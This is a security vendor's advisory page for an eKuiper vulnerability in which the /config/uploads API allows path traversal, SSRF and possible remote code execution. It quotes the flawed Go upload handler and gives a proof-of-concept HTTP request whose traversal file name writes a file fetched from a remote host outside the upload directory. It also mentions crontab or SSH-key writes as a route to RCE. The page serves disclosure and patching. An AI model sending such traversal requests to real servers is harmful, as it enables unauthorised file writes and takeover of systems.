Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go
Not in CISA KEV

GHSA-gj54-gwj9-x2c6 — v2

GHSA-gj54-gwj9-x2c6 is a remote code execution vulnerability in github.com/lf-edge/ekuiper/v2. A fix is available for github.com/lf-edge/ekuiper/v2 — see the affected versions and patch details below.

eKuiper /config/uploads API arbitrary file writing may lead to RCE

Also known asGO-2025-3800
Published
Jul 3, 2025
Updated
Jul 28, 2025
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed
Exploitation data as of Jul 28, 2025 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected
🐹github.com/lf-edge/ekuiper/v2🐹github.com/lf-edge/ekuiper

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.

Details

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	switch r.Method {
	// Upload or overwrite a file
	case http.MethodPost:
		switch r.Header.Get("Content-Type") {
		case "application/json":
			fc := &fileContent{}
			defer r.Body.Close()
			err := json.NewDecoder(r.Body).Decode(fc)
			if err != nil {
				handleError(w, err, "Invalid body: Error decoding file json", logger)
				return
			}
			err = fc.Validate()
			if err != nil {
				handleError(w, err, "Invalid body: missing necessary field", logger)
				return
			}

			filePath := filepath.Join(uploadDir, fc.Name)
			err = upload(fc)
  • The fc.Name parameter do not safely filtered.

PoC

POST /config/uploads HTTP/1.1
Host: localhost:9081
Content-Type: application/json
Content-Length: 89

{
  "name": "../../../../tmp/success",
 "file": "http://192.168.65.254:8888/success"
}

image

Impact

Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.

  1. SSRF
  2. Path-Travel
  3. May leads to RCE

The reporters is m0d9 from Tencent YunDing Lab.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/lf-edge/ekuiper/v2all versions2.2.0go get github.com/lf-edge/ekuiper/v2@v2.2.0
🐹Gogithub.com/lf-edge/ekuiperall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lf-edge/ekuiper/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/lf-edge/ekuiper/v2 to 2.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gj54-gwj9-x2c6 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gj54-gwj9-x2c6 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-gj54-gwj9-x2c6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys. ### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.
O3 Security · Impact-Aware SCA

Is GHSA-gj54-gwj9-x2c6 in your dependencies?

O3 Security finds GHSA-gj54-gwj9-x2c6 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works
GHSA-gj54-gwj9-x2c6: v2 RCE | O3 Security